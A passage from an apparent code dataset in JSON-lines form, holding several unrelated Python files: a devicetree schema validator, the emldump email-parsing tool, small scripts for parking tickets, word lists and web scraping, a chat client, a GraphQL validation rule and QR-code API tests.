DTSchema\n\nschema_basedir = os.path.dirname(os.path.abspath(__file__))\n\n\ndef _merge_dim(dim1, dim2):\n d = []\n for i in range(0, 2):\n if dim1[i] == (0, 0):\n d.insert(i, dim2[i])\n elif dim2[i] == (0, 0):\n d.insert(i, dim1[i])\n else:\n d.insert(i, (min(dim1[i] + dim2[i]), max(dim1[i] + dim2[i])))\n\n return tuple(d)\n\n\ntype_re = re.compile('(flag|u?int(8|16|32|64)(-(array|matrix))?|string(-array)?|phandle(-array)?)')\n\n\ndef _extract_prop_type(props, schema, propname, subschema, is_pattern):\n if not isinstance(subschema, dict):\n return\n\n if propname.startswith('$'):\n return\n\n # We only support local refs\n if '$ref' in subschema and subschema['$ref'].startswith('#/'):\n sch_path = subschema['$ref'].split('/')[1:]\n tmp_subschema = schema\n for p in sch_path:\n tmp_subschema = tmp_subschema[p]\n #print(propname, sch_path, tmp_subschema, file=sys.stderr)\n _extract_prop_type(props, schema, propname, tmp_subschema, is_pattern)\n\n for k in subschema.keys() & {'allOf', 'oneOf', 'anyOf'}:\n for v in subschema[k]:\n _extract_prop_type(props, schema, propname, v, is_pattern)\n\n props.setdefault(propname, [])\n\n new_prop = {}\n prop_type = None\n\n if ('type' in subschema and subschema['type'] == 'object') or \\\n subschema.keys() & {'properties', 'patternProperties', 'additionalProperties'}:\n prop_type = 'node'\n else:\n try:\n prop_type = type_re.search(subschema['$ref']).group(0)\n except:\n if 'type' in subschema and subschema['type'] == 'boolean':\n prop_type = 'flag'\n elif 'items' in subschema:\n items = subschema['items']\n if (isinstance(items, list) and _is_string_schema(items[0])) or \\\n (isinstance(items, dict) and _is_string_schema(items)):\n # implicit string type\n prop_type = 'string-array'\n elif not (isinstance(items, list) and len(items) == 1 and\n 'items' in items and isinstance(items['items'], list) and\n len(items['items']) == 1):\n # Keep in sync with property-units.yaml\n if re.search('-microvolt$', propname):\n prop_type = 'int32-matrix'\n elif re.search('(^(?!opp)).*-hz$', propname):\n prop_type = 'uint32-matrix'\n else:\n prop_type = None\n else:\n prop_type = None\n elif '$ref' in subschema and re.search(r'\\.yaml#?$', subschema['$ref']):\n prop_type = 'node'\n else:\n prop_type = None\n\n new_prop['type'] = prop_type\n new_prop['$id'] = [schema['$id']]\n if is_pattern:\n new_prop['regex'] = re.compile(propname)\n\n if not prop_type:\n if len(props[propname]) == 0:\n props[propname] += [new_prop]\n return\n\n # handle matrix dimensions\n if prop_type == 'phandle-array' or prop_type.endswith('-matrix'):\n dim = (_get_array_range(subschema), _get_array_range(subschema.get('items', {})))\n new_prop['dim'] = dim\n else:\n dim = ((0, 0), (0, 0))\n\n dup_prop = None\n for p in props[propname]:\n if p['type'] is None:\n dup_prop = p\n break\n if dim != ((0, 0), (0, 0)) and \\\n (p['type'] == 'phandle-array' or p['type'].endswith('-matrix')):\n if 'dim' not in p:\n p['dim'] = dim\n elif p['dim'] != dim:\n # Conflicting dimensions\n p['dim'] = _merge_dim(p['dim'], dim)\n return\n if p['type'].startswith(prop_type):\n # Already have the same or looser type, just record the $id\n new_prop = None\n if schema['$id'] not in p['$id']:\n p['$id'] += [schema['$id']]\n break\n elif p['type'] in prop_type:\n # Replace scalar type with array type\n new_prop['$id'] += p['$id']\n dup_prop = p\n break\n\n if dup_prop:\n props[propname].remove(dup_prop)\n\n if new_prop:\n props[propname] += [new_prop]\n\n if subschema.keys() & {'properties', 'patternProperties', 'additionalProperties'}:\n _extract_subschema_types(props, schema, subschema)\n\n\ndef _extract_subschema_types(props, schema, subschema):\n if not isinstance(subschema, dict):\n return\n\n if 'additionalProperties' in subschema:\n _extract_subschema_types(props, schema, subschema['additionalProperties'])\n\n for k in subschema.keys() & {'properties', 'patternProperties'}:\n if isinstance(subschema[k], dict):\n for p, v in subschema[k].items():\n _extract_prop_type(props, schema, p, v, k == 'patternProperties')\n\n\ndef extract_types(schemas):\n props = {}\n for sch in schemas.values():\n _extract_subschema_types(props, sch, sch)\n\n return props\n\n\ndef get_prop_types(schemas, want_missing_types=False, want_node_types=False):\n pat_props = {}\n\n props = extract_types(schemas)\n\n # hack to remove aliases and generic patterns\n del props['^[a-z][a-z0-9\\-]*$']\n props.pop('^[a-zA-Z][a-zA-Z0-9\\\\-_]{0,63}$', None)\n props.pop('^.*$', None)\n props.pop('.*', None)\n\n # Remove node types\n if not want_node_types:\n for val in props.values():\n val[:] = [t for t in val if t['type'] != 'node']\n\n # Remove all properties without a type\n if not want_missing_types:\n for val in props.values():\n val[:] = [t for t in val if t['type'] is not None]\n\n # Delete any entries now empty due to above operations\n for key in [key for key in props if len(props[key]) == 0]:\n del props[key]\n\n # Split out pattern properties\n for key in [key for key in props if len(props[key]) and 'regex' in props[key][0]]:\n # Only want patternProperties with type and some amount of fixed string\n if re.search(r'[0-9a-zA-F-]{3}', key):\n #print(key, props[key], file=sys.stderr)\n pat_props[key] = props[key]\n del props[key]\n\n return [props, pat_props]\n\n\ndef make_compatible_schema(schemas):\n compat_sch = [{'enum': []}]\n compatible_list = set()\n for sch in schemas.values():\n compatible_list |= dtschema.extract_compatibles(sch)\n\n # Allow 'foo' values for examples\n compat_sch += [{'pattern': '^foo'}]\n\n prog = re.compile('.*[\\^\\[{\\(\\$].*')\n for c in compatible_list:\n if prog.match(c):\n # Exclude the generic pattern\n if c != '^[a-zA-Z0-9][a-zA-Z0-9,+\\-._/]+$':\n compat_sch += [{'pattern': c}]\n else:\n compat_sch[0]['enum'].append(c)\n\n compat_sch[0]['enum'].sort()\n schemas['generated-compatibles'] = {\n '$id': 'http://devicetree.org/schemas/generated-compatibles',\n '$filename': 'Generated schema of documented compatible strings',\n 'select': True,\n 'properties': {\n 'compatible': {\n 'items': {\n 'anyOf': compat_sch\n }\n }\n }\n }\n\n\ndef process_schema(filename):\n try:\n dtsch = DTSchema(filename)\n except:\n print(f\"{filename}: ignoring, error parsing file\", file=sys.stderr)\n return\n\n # Check that the validation schema is valid\n try:\n dtsch.is_valid()\n except jsonschema.SchemaError as exc:\n print(f\"{filename}: ignoring, error in schema: \" + ': '.join(str(x) for x in exc.path),\n file=sys.stderr)\n #print(exc.message)\n return\n\n schema = dtsch.fixup()\n if 'select' not in schema:\n print(f\"{filename}: warning: no 'select' found in schema found\", file=sys.stderr)\n return\n\n schema[\"type\"] = \"object\"\n schema[\"$filename\"] = filename\n return schema\n\n\ndef process_schemas(schema_paths, core_schema=True):\n schemas = {}\n\n for filename in schema_paths:\n if not os.path.isfile(filename):\n continue\n sch = process_schema(os.path.abspath(filename))\n if not sch or '$id' not in sch:\n continue\n if sch['$id'] in schemas:\n print(f\"{os.path.abspath(filename)}: duplicate '$id' value '{sch['$id']}'\", file=sys.stderr)\n else:\n schemas[sch['$id']] = sch\n\n if core_schema:\n schema_paths.append(os.path.join(schema_basedir, 'schemas/'))\n\n for path in schema_paths:\n count = 0\n if not os.path.isdir(path):\n continue\n\n for filename in glob.iglob(os.path.join(os.path.abspath(path), \"**/*.yaml\"), recursive=True):\n sch = process_schema(os.path.abspath(filename))\n if sch:\n count += 1\n if sch['$id'] in schemas:\n print(f\"{os.path.abspath(filename)}: duplicate '$id' value '{sch['$id']}'\", file=sys.stderr)\n else:\n schemas[sch['$id']] = sch\n\n if count == 0:\n print(f\"warning: no schema found in path: {path}\", file=sys.stderr)\n\n return schemas\n\n\ndef typeSize(validator, typeSize, instance, schema):\n try:\n size = instance[0][0].size\n except:\n size = 32\n\n if typeSize != size:\n yield jsonschema.ValidationError(\"size is %r, expected %r\" % (size, typeSize))\n\n\nclass DTValidator:\n '''Custom Validator for Devicetree Schemas\n\n Overrides the Draft7 metaschema with the devicetree metaschema. This\n validator is used in exactly the same way as the Draft7Validator. Schema\n files can be validated with the .check_schema() method, and .validate()\n will check the data in a devicetree file.\n '''\n DtValidator = jsonschema.validators.extend(jsonschema.Draft201909Validator, {'typeSize': typeSize})\n\n def __init__(self, schema_files, filter=None):\n self.schemas = {}\n self.resolver = jsonschema.RefResolver('', None, handlers={'http': self.http_handler})\n\n yaml = ruamel.yaml.YAML(typ='safe')\n\n if len(schema_files) == 1 and os.path.isfile(schema_files[0]):\n # a processed schema file\n with open(schema_files[0], 'r', encoding='utf-8') as f:\n if schema_files[0].endswith('.json'):\n schema_cache = json.load(f)\n else:\n schema_cache = yaml.load(f.read())\n\n # Convert old format to new\n if isinstance(schema_cache, list):\n d = {}\n for sch in schema_cache:\n if not isinstance(sch, dict):\n return None\n d[sch['$id']] = sch\n schema_cache = d\n\n if 'generated-types' in schema_cache:\n self.props = schema_cache['generated-types']['properties']\n if 'generated-pattern-types' in schema_cache:\n self.pat_props = copy.deepcopy(schema_cache['generated-pattern-types']['properties'])\n for k in self.pat_props:\n self.pat_props[k][0]['regex'] = re.compile(k)\n\n self.schemas = schema_cache\n else:\n self.schemas = process_schemas(schema_files)\n self.make_property_type_cache()\n make_compatible_schema(self.schemas)\n for k in self.pat_props:\n self.pat_props[k][0]['regex'] = re.compile(k)\n\n def http_handler(self, uri):\n '''Custom handler for http://devicetree.org references'''\n try:\n uri += '#'\n if uri in self.schemas:\n return self.schemas[uri]\n else:\n # If we have a schema_cache, then the schema should have been there unless the schema had errors\n if len(self.schemas):\n return False\n except:\n raise RefResolutionError('Error in referenced schema matching $id: ' + uri)\n\n def annotate_error(self, id, error):\n error.schema_file = id\n error.linecol = -1, -1\n error.note = None\n\n def iter_errors(self, instance, filter=None):\n for id, schema in self.schemas.items():\n if 'select' not in schema:\n continue\n if filter and filter not in id:\n continue\n sch = {'if': schema['select'], 'then': schema}\n for error in self.DtValidator(sch,\n resolver=self.resolver,\n ).iter_errors(instance):\n self.annotate_error(id, error)\n yield error\n\n def validate(self, instance, filter=None):\n for error in self.iter_errors(instance, filter=filter):\n raise error\n\n def get_undocumented_compatibles(self, compatible_list):\n undoc_compats = []\n\n validator = self.DtValidator(self.schemas['generated-compatibles'])\n for compat in compatible_list:\n if not validator.is_valid({\"compatible\": [compat]}):\n undoc_compats += [compat]\n\n return undoc_compats\n\n def make_property_type_cache(self):\n self.props, self.pat_props = get_prop_types(self.schemas)\n\n for val in self.props.values():\n for t in val:\n del t['$id']\n\n self.schemas['generated-types'] = {\n '$id': 'generated-types',\n '$filename': 'Generated property types',\n 'select': False,\n 'properties': {k: self.props[k] for k in sorted(self.props)}\n }\n\n pat_props = copy.deepcopy(self.pat_props)\n for val in pat_props.values():\n for t in val:\n t.pop('regex', None)\n del t['$id']\n\n self.schemas['generated-pattern-types'] = {\n '$id': 'generated-pattern-types',\n '$filename': 'Generated pattern property types',\n 'select': False,\n 'properties': {k: pat_props[k] for k in sorted(pat_props)}\n }\n\n def property_get_all(self):\n all_props = copy.deepcopy({**self.props, **self.pat_props})\n for p, v in all_props.items():\n v[0].pop('regex', None)\n\n return all_props\n\n def property_get_type(self, propname):\n ptype = set()\n if propname in self.props:\n for v in self.props[propname]:\n if v['type']:\n ptype.add(v['type'])\n if len(ptype) == 0:\n for v in self.pat_props.values():\n if v[0]['type'] and v[0]['type'] not in ptype and v[0]['regex'].search(propname):\n ptype.add(v[0]['type'])\n\n # Don't return 'node' as a type if there's other types\n if len(ptype) > 1 and 'node' in ptype:\n ptype -= {'node'}\n return ptype\n\n def property_get_type_dim(self, propname):\n if propname in self.props:\n for v in self.props[propname]:\n if 'dim' in v:\n return v['dim']\n\n for v in self.pat_props.values():\n if v[0]['type'] and 'dim' in v[0] and v[0]['regex'].search(propname):\n return v[0]['dim']\n\n return None\n\n def property_has_fixed_dimensions(self, propname):\n dim = self.property_get_type_dim(propname)\n if dim and dim[0][0] == dim[0][1] or dim[1][0] == dim[1][1]:\n return True\n\n return False\n\n def decode_dtb(self, dtb):\n return [dtschema.dtb.fdt_unflatten(self, dtb)]\n","sub_path":"dtschema/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":15952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"365888974","text":"#NAME IZABELLA WIECKOWSKA\n#DATE OCT 31 2017\n#PARKING TICKETS\n\nimport pandas as pd\n\nfileIn = input(\"input file name here\")\ntickets = pd.read_csv(fileIn)\nattribute = input(\"input attribute\")\n\nprint(\"The 10 worst offenders are:\")\nprint(tickets[attribute].value_counts()[:10])\n","sub_path":"parkintickets.py","file_name":"parkintickets.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"214596498","text":"#!/usr/bin/env python\n\n__description__ = 'EML dump utility'\n__author__ = 'Didier Stevens'\n__version__ = '0.0.2'\n__date__ = '2015/03/01'\n\n\"\"\"\n\nSource code put in public domain by Didier Stevens, no Copyright\nhttps://DidierStevens.com\nUse at your own risk\n\nHistory:\n 2014/02/01: start\n 2015/03/01: added Multipart flag\n 2015/05/08: 0.0.2 added ZIP support\n\nTodo:\n\"\"\"\n\nimport optparse\nimport email\nimport hashlib\nimport signal\nimport sys\nimport os\nimport zipfile\n\nMALWARE_PASSWORD = 'infected'\n\n#Convert 2 Bytes If Python 3\ndef C2BIP3(string):\n if sys.version_info[0] > 2:\n return bytes([ord(x) for x in string])\n else:\n return string\n\ndef File2String(filename):\n try:\n f = open(filename, 'rb')\n except:\n return None\n try:\n return f.read()\n except:\n return None\n finally:\n f.close()\n\ndef FixPipe():\n try:\n signal.signal(signal.SIGPIPE, signal.SIG_DFL)\n except:\n pass\n\ndumplinelength = 16\n\n# CIC: Call If Callable\ndef CIC(expression):\n if callable(expression):\n return expression()\n else:\n return expression\n\n# IFF: IF Function\ndef IFF(expression, valueTrue, valueFalse):\n if expression:\n return CIC(valueTrue)\n else:\n return CIC(valueFalse)\n\nclass cDumpStream():\n def __init__(self):\n self.text = ''\n\n def Addline(self, line):\n if line != '':\n self.text += line + '\\n'\n\n def Content(self):\n return self.text\n\ndef HexDump(data):\n oDumpStream = cDumpStream()\n hexDump = ''\n for i, b in enumerate(data):\n if i % dumplinelength == 0 and hexDump != '':\n oDumpStream.Addline(hexDump)\n hexDump = ''\n hexDump += IFF(hexDump == '', '', ' ') + '%02X' % ord(b)\n oDumpStream.Addline(hexDump)\n return oDumpStream.Content()\n\ndef CombineHexAscii(hexDump, asciiDump):\n if hexDump == '':\n return ''\n return hexDump + ' ' + (' ' * (3 * (16 - len(asciiDump)))) + asciiDump\n\ndef HexAsciiDump(data):\n oDumpStream = cDumpStream()\n hexDump = ''\n asciiDump = ''\n for i, b in enumerate(data):\n if i % dumplinelength == 0:\n if hexDump != '':\n oDumpStream.Addline(CombineHexAscii(hexDump, asciiDump))\n hexDump = '%08X:' % i\n asciiDump = ''\n hexDump+= ' %02X' % ord(b)\n asciiDump += IFF(ord(b) >= 32 and ord(b), b, '.')\n oDumpStream.Addline(CombineHexAscii(hexDump, asciiDump))\n return oDumpStream.Content()\n\n#Fix for http://bugs.python.org/issue11395\ndef StdoutWriteChunked(data):\n while data != '':\n sys.stdout.write(data[0:10000])\n sys.stdout.flush()\n data = data[10000:]\n\ndef EMLDump(emlfilename, options):\n FixPipe()\n if emlfilename == '':\n if sys.platform == 'win32':\n import msvcrt\n msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)\n data = sys.stdin.read()\n elif emlfilename.lower().endswith('.zip'):\n oZipfile = zipfile.ZipFile(emlfilename, 'r')\n oZipContent = oZipfile.open(oZipfile.infolist()[0], 'r', C2BIP3(MALWARE_PASSWORD))\n data = oZipContent.read()\n oZipContent.close()\n oZipfile.close()\n else:\n data = File2String(emlfilename)\n if options.header:\n data = data[data.find('\\n') + 1:]\n oEML = email.message_from_string(data)\n if options.select == '':\n counter = 1\n for oPart in oEML.walk():\n print('%d: %s %s' % (counter, IFF(oPart.is_multipart(), 'M', ' '), oPart.get_content_type()))\n counter += 1\n else:\n if options.dump:\n DumpFunction = lambda x:x\n if sys.platform == 'win32':\n import msvcrt\n msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)\n elif options.hexdump:\n DumpFunction = HexDump\n else:\n DumpFunction = HexAsciiDump\n counter = 1\n for oPart in oEML.walk():\n if counter == int(options.select):\n StdoutWriteChunked(DumpFunction(oPart.get_payload(decode=True)))\n break\n counter += 1\n\ndef Main():\n oParser = optparse.OptionParser(usage='usage: %prog [options] mimefile\\n' + __description__, version='%prog ' + __version__)\n oParser.add_option('-d', '--dump', action='store_true', default=False, help='perform dump')\n oParser.add_option('-x', '--hexdump', action='store_true', default=False, help='perform hex dump')\n oParser.add_option('-a', '--asciidump', action='store_true', default=False, help='perform ascii dump')\n oParser.add_option('-H', '--header', action='store_true', default=False, help='skip first line')\n oParser.add_option('-s', '--select', default='', help='select item nr for dumping')\n (options, args) = oParser.parse_args()\n\n if len(args) > 1:\n oParser.print_help()\n print('')\n print(' Source code put in the public domain by Didier Stevens, no Copyright')\n print(' Use at your own risk')\n print(' https://DidierStevens.com')\n return\n elif len(args) == 1:\n EMLDump(args[0], options)\n else:\n EMLDump('', options)\n\nif __name__ == '__main__':\n Main()\n","sub_path":"didierstevenssuite/emldump.py","file_name":"emldump.py","file_ext":"py","file_size_in_byte":5205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"423390684","text":"import argparse\nimport json\nimport os\nimport re\n\nfrom voobly import get_session, make_scrape_request\n\n\nDATA_PATH = 'metadata'\nLADDER_ID_REGEX = '^/profile/view/'\nLADDER_URL_REGEX = '^https://voobly.com/ladder/view'\n\n\ndef get_ladder_metadata(session, url):\n \"\"\"Get ladder metadata.\"\"\"\n parsed = make_scrape_request(session, url)\n tag = parsed.find('a', href=re.compile(LADDER_ID_REGEX))\n return {\n 'id': int(tag['href'].split('/')[-1]),\n 'slug': url.split('/')[-1],\n 'url': url\n }\n\n\ndef get_ladders_metadata(session, parsed):\n \"\"\"Get metadata for all ladders.\"\"\"\n ladders = {}\n for ladder in parsed.find_all('a', href=re.compile(LADDER_URL_REGEX)):\n ladders[ladder.text] = get_ladder_metadata(session, ladder['href'])\n return ladders\n\n\ndef get_metadata(session, games):\n \"\"\"Get metadata for games (only ladder data right now).\"\"\"\n for data in games.values():\n parsed = make_scrape_request(session, data['url'])\n return {\n 'ladders': get_ladders_metadata(session, parsed)\n }\n\n\ndef update_metadata(session, path=DATA_PATH):\n \"\"\"Update metadata files (only ladders right now).\"\"\"\n with open(os.path.join(path, 'games.json')) as handle:\n games = json.loads(handle.read())\n \n for key, data in get_metadata(session, games).items():\n with open(os.path.join(path, '{}.json'.format(key)), 'w') as handle:\n handle.write(json.dumps(data, indent=2))\n\n\nif __name__ == '__main__':\n \"\"\"Entry point.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('-u', '--username', required=True)\n parser.add_argument('-p', '--password', required=True)\n args = parser.parse_args()\n session = get_session(None, args.username, args.password, cache=False)\n update_metadata(session)\n","sub_path":"utils/update_metadata.py","file_name":"update_metadata.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"47010197","text":"from typing import List, Set\n\nfrom ...error import GraphQLError\nfrom ...language import OperationDefinitionNode, VariableDefinitionNode\nfrom . import ValidationContext, ValidationRule\n\n__all__ = [\"NoUnusedVariablesRule\", \"unused_variable_message\"]\n\n\ndef unused_variable_message(var_name: str, op_name: str = None) -> str:\n return (\n f\"Variable '${var_name}' is never used in operation '{op_name}'.\"\n if op_name\n else f\"Variable '${var_name}' is never used.\"\n )\n\n\nclass NoUnusedVariablesRule(ValidationRule):\n \"\"\"No unused variables\n\n A GraphQL operation is only valid if all variables defined by an operation are used,\n either directly or within a spread fragment.\n \"\"\"\n\n def __init__(self, context: ValidationContext) -> None:\n super().__init__(context)\n self.variable_defs: List[VariableDefinitionNode] = []\n\n def enter_operation_definition(self, *_args):\n self.variable_defs.clear()\n\n def leave_operation_definition(self, operation: OperationDefinitionNode, *_args):\n variable_name_used: Set[str] = set()\n usages = self.context.get_recursive_variable_usages(operation)\n op_name = operation.name.value if operation.name else None\n\n for usage in usages:\n variable_name_used.add(usage.node.name.value)\n\n for variable_def in self.variable_defs:\n variable_name = variable_def.variable.name.value\n if variable_name not in variable_name_used:\n self.report_error(\n GraphQLError(\n unused_variable_message(variable_name, op_name), variable_def\n )\n )\n\n def enter_variable_definition(self, definition: VariableDefinitionNode, *_args):\n self.variable_defs.append(definition)\n","sub_path":"env/lib/python3.7/site-packages/graphql/validation/rules/no_unused_variables.py","file_name":"no_unused_variables.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"537675962","text":"'''\nExercise 4: Find all unique words in a file\nShakespeare used over 20,000 words in his works. But how would you determine that? How would\nyou produce the list of all the words that Shakespeare used? Would you download all his work, read\nit and track all unique words by hand?\nLet’s use Python to achieve that instead. List all unique words, sorted in alphabetical order, that\nare stored in a file romeo.txt containing a subset of Shakespeare’s work.\nTo get started, download a copy of the file www.py4e.com/code3/romeo.txt\n(https://www.py4e.com/code3/romeo.txt). Create a list of unique words, which will contain the final\nresult. Write a program to open the file romeo.txt and read it line by line. For each line, split the line\ninto a list of words using the split function. For each word, check to see if the word is already in\nthe list of unique words. If the word is not in the list of unique words, add it to the list. When the\nprogram completes, sort and print the list of unique words in alphabetical order.\n\nexample:\nEnter file: romeo.txt\n['Arise', 'But', 'It', 'Juliet', 'Who', 'already',\n'and', 'breaks', 'east', 'envious', 'fair', 'grief',\n'is', 'kill', 'light', 'moon', 'pale', 'sick', 'soft',\n'sun', 'the', 'through', 'what', 'window',\n'with', 'yonder']\n\n\n流程:\n1.打开文件\n2.获取每一行\n3.检查是否为空\n4.获取每个词,重复的词不要\n5.结束取词后,排序\n6.打印\n\n'''\n\n\ndef uniqueword():\n\ttry:\n\t\tfname=input(\"please enter a file: \")\n\t\tfhand=open(fname)\n\texcept:\n\t\tprint('open file failed: ',fname)\n\t\texit()\n\tls=[]\n\tfor line in fhand:\n\t\twords=line.split()\n\t\tif len(words)==0:\n\t\t\tcontinue\n\t\tfor word in words:\n\t\t\tif word in ls:\n\t\t\t\tcontinue\n\t\t\tls.append(word)\n\tls.sort()\n\tprint(ls)\n\n\nuniqueword()\n\n","sub_path":"PY4E/uniqueword.py","file_name":"uniqueword.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"596277817","text":"# telnet program example\nimport sys\n\nsys.path.append('/Users/cxl/dev/PythonShootGame')\nimport socket, select, string, sys\nimport mainGame\n\n\ndef prompt():\n sys.stdout.write(' ')\n sys.stdout.flush()\n\n\n# main function\nif __name__ == \"__main__\":\n\n if len(sys.argv) < 3:\n print('Usage : python3 ChatClient.py hostIP portNo')\n sys.exit()\n\n host = sys.argv[1]\n port = int(sys.argv[2])\n\n s = socket.socket()\n s.settimeout(10)\n\n # connect to remote host\n try:\n s.connect((host, port))\n except:\n print\n 'Unable to connect'\n sys.exit()\n\n print\n 'Connected to remote host. Start sending messages'\n prompt()\n\n while 1:\n rlist = [sys.stdin, s]\n # Get the list sockets which are readable\n read_list, write_list, error_list = select.select(rlist, [], [])\n for sock in read_list:\n # incoming message from remote server\n if sock == s: # s指的是与服务器的连接fd\n data = str(sock.recv(4096), encoding='utf-8')\n if not data:\n print('\\nDisconnected from chat server\\n')\n sys.exit()\n else:\n # print data\n sys.stdout.write(data)\n if data.strip()[:-1] == 'start_game':\n # data = str(sock.recv(4096), encoding='utf-8')\n assignment = int(data.strip()[-1])\n mainGame.game_engine(10, assignment, sock) #seedInit=10 暂时默认这么设置\n prompt()\n\n # user entered a message\n else:\n msg = sys.stdin.readline()\n s.send(bytes(msg, encoding=\"utf-8\"))\n prompt()\n","sub_path":"myTest/ChatDemo/ChatClient.py","file_name":"ChatClient.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"527096511","text":"from concurrent.futures import ThreadPoolExecutor\nfrom secrets import token_urlsafe\nfrom time import sleep\nfrom typing import List\n\nimport pytest\nfrom fastapi.testclient import TestClient\nfrom requests.models import Response\n\n\n@pytest.fixture(scope=\"package\")\ndef client():\n from hibiapi.app import app\n\n with TestClient(app, base_url=\"http://testserver/api/\") as client:\n yield client\n\n\ndef test_qrcode_generate(client: TestClient):\n sleep(1)\n response = client.get(\n \"qrcode/\",\n params={\n \"text\": \"Hello, World!\",\n \"encode\": \"raw\",\n },\n )\n assert response.status_code == 200\n assert \"image/png\" in response.headers[\"content-type\"]\n\n\ndef test_qrcode_all(client: TestClient):\n from hibiapi.api.qrcode import QRCodeLevel, ReturnEncode\n\n encodes = [i.value for i in ReturnEncode.__members__.values()]\n levels = [i.value for i in QRCodeLevel.__members__.values()]\n responses: List[Response] = []\n for encode in encodes:\n for level in levels:\n response = client.get(\n \"qrcode/\",\n params={\"text\": \"Hello, World!\", \"encode\": encode, \"level\": level},\n )\n responses.append(response)\n assert not any(map(lambda r: r.status_code != 200, responses))\n\n\ndef test_qrcode_stress(client: TestClient):\n executor = ThreadPoolExecutor(16)\n\n def request(content: str):\n response = client.get(\"qrcode/\", params={\"text\": content, \"level\": \"H\"})\n assert response.status_code == 200\n\n return [*executor.map(request, [token_urlsafe(32) for _ in range(128)])]\n","sub_path":"test/test_qrcode.py","file_name":"test_qrcode.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"533618515","text":"\n\n'''\nThis file gives methods for getting url lists of news articles for 3 given websites. Each website has its own url structure, so\nwe have to use different methods to catch the urls of news.\nThere are other methods, like get the publish time, is here for editing and simple tests. The formal versons of these methods are\nin the utility.py. They will be removed from here after fully tested.\n'''\n\nfrom goose3 import Goose\nimport utility\nfrom utility import goose_by_url\nfrom bs4 import BeautifulSoup\nimport re\n\nroot_url = ['abc.net.au', 'sbs.com.au', 'canberratimes.com.au']\n\ng_root = Goose()\n\n\ndef get_news_list_abc():\n news_list = []\n page = g_root.extract(url='http://www.abc.net.au/news')\n soup = BeautifulSoup(page.raw_html, 'lxml')\n links = soup.find_all('a')\n for l in links:\n link = l.get('href')\n match_date = re.findall(r'\\d{4}-\\d{2}-\\d{2}', link)\n if match_date != []:\n if not '.mp3' in link:\n link = 'http://www.abc.net.au' + link\n if 'http://www.abc.net.auu' in link:\n link = link.replace('http://www.abc.net.auu/', 'http://www.abc.net.au/')\n if not link in news_list and not '.mp3' in link:\n sections = link.split('/')\n\n # reduce duplicate news link\n if '?' not in sections[-1]:\n news_list.append(link)\n print(\"zyl abc:\", len(news_list))\n for i in news_list:\n print(i)\n return news_list\n\n\ndef get_news_list_sbs():\n news_list = []\n page = g_root.extract(url='http://www.sbs.com.au/news/latest')\n soup = BeautifulSoup(page.raw_html, 'html.parser')\n links = soup.find_all('p')\n print(\"zyl sbs links:\", len(news_list))\n for l in links:\n link = l.a\n if link != None:\n link = link.get('href')\n link = 'http://www.sbs.com.au' + link\n if isinstance(link, str) and link != None and '/news/' in link and not link in news_list:\n news_list.append(link)\n print(\"zyl sbs:\", len(news_list))\n for i in news_list:\n print(i)\n return news_list\n\n\ndef get_news_list_cbr_times():\n news_list = []\n page = g_root.extract(url='http://www.canberratimes.com.au')\n soup = BeautifulSoup(page.raw_html, 'lxml')\n links = soup.find_all('a')\n print(\"zyl cbr_times links:\", len(links))\n for l in links:\n link = l.get('href')\n if not 'http' in link and 'cs=' in link and not 'https://www.canberratimes.com.au' + link in news_list:\n news_list.append('https://www.canberratimes.com.au' + link)\n print(\"zyl cbr_times:\", len(news_list))\n for i in news_list:\n print(i)\n return news_list\n\n\ndef get_news_list_uc():\n news_list = []\n page = g_root.extract(url='https://www.canberra.edu.au/uncover')\n soup = BeautifulSoup(page.raw_html, 'lxml')\n links = soup.find_all('a')\n print(\"zyl uc links:\", len(links))\n for l in links:\n link = l.get('href')\n # print(\"00\",link)\n if not 'http:' in link and not 'plus.google.com' in link and not 'www.facebook.com' in link \\\n and not 'twitter.com/intent' in link and '/news-archive/' in link and not link in news_list:\n news_list.append(link)\n\n print(\"zyl uc:\", len(news_list))\n for i in news_list:\n print(i)\n return news_list\n\n\ndef get_news_list_hercbr():\n news_list = []\n page = g_root.extract(url='https://hercanberra.com.au')\n soup = BeautifulSoup(page.raw_html, 'lxml')\n links = soup.find_all('a')\n print(\"zyl hercbr links:\", len(links))\n for l in links:\n link = l.get('href')\n # print(\"hercbr 0\",link)\n if not 'http:' in link and not 'plus.google.com' in link and not 'www.facebook.com' in link \\\n and not 'twitter.com/intent' in link and '/cp' in link and not link in news_list:\n news_list.append(link)\n\n print(\"zyl hercanberra:\", len(news_list))\n for i in news_list:\n print(i)\n return news_list\n\n\ndef get_news_list_tidbinbilla():\n news_list = []\n page = g_root.extract(url='https://www.tidbinbilla.act.gov.au')\n soup = BeautifulSoup(page.raw_html, 'lxml')\n links = soup.find_all('a')\n print(\"zyl tidbinbilla links:\", len(links))\n for l in links:\n link = l.get('href')\n # print(\"hercbr 0\",link)\n if not 'http:' in link and '/events' in link and not link in news_list:\n news_list.append(link)\n\n print(\"zyl tidbinbilla:\", len(news_list))\n for i in news_list:\n print(i)\n return news_list\n\n\ndef get_news_list_cmag():\n news_list = []\n page = g_root.extract(url='http://www.cmag.com.au/whats-on')\n soup = BeautifulSoup(page.raw_html, 'lxml')\n links = soup.find_all('a')\n print(\"zyl cmag links:\", len(links))\n for l in links:\n link = l.get('href')\n if not 'http:' in link and '/exhibitions/' in link and not link in news_list:\n news_list.append('http://www.cmag.com.au' + link)\n if not 'http:' in link and '/events/' in link and not link in news_list:\n 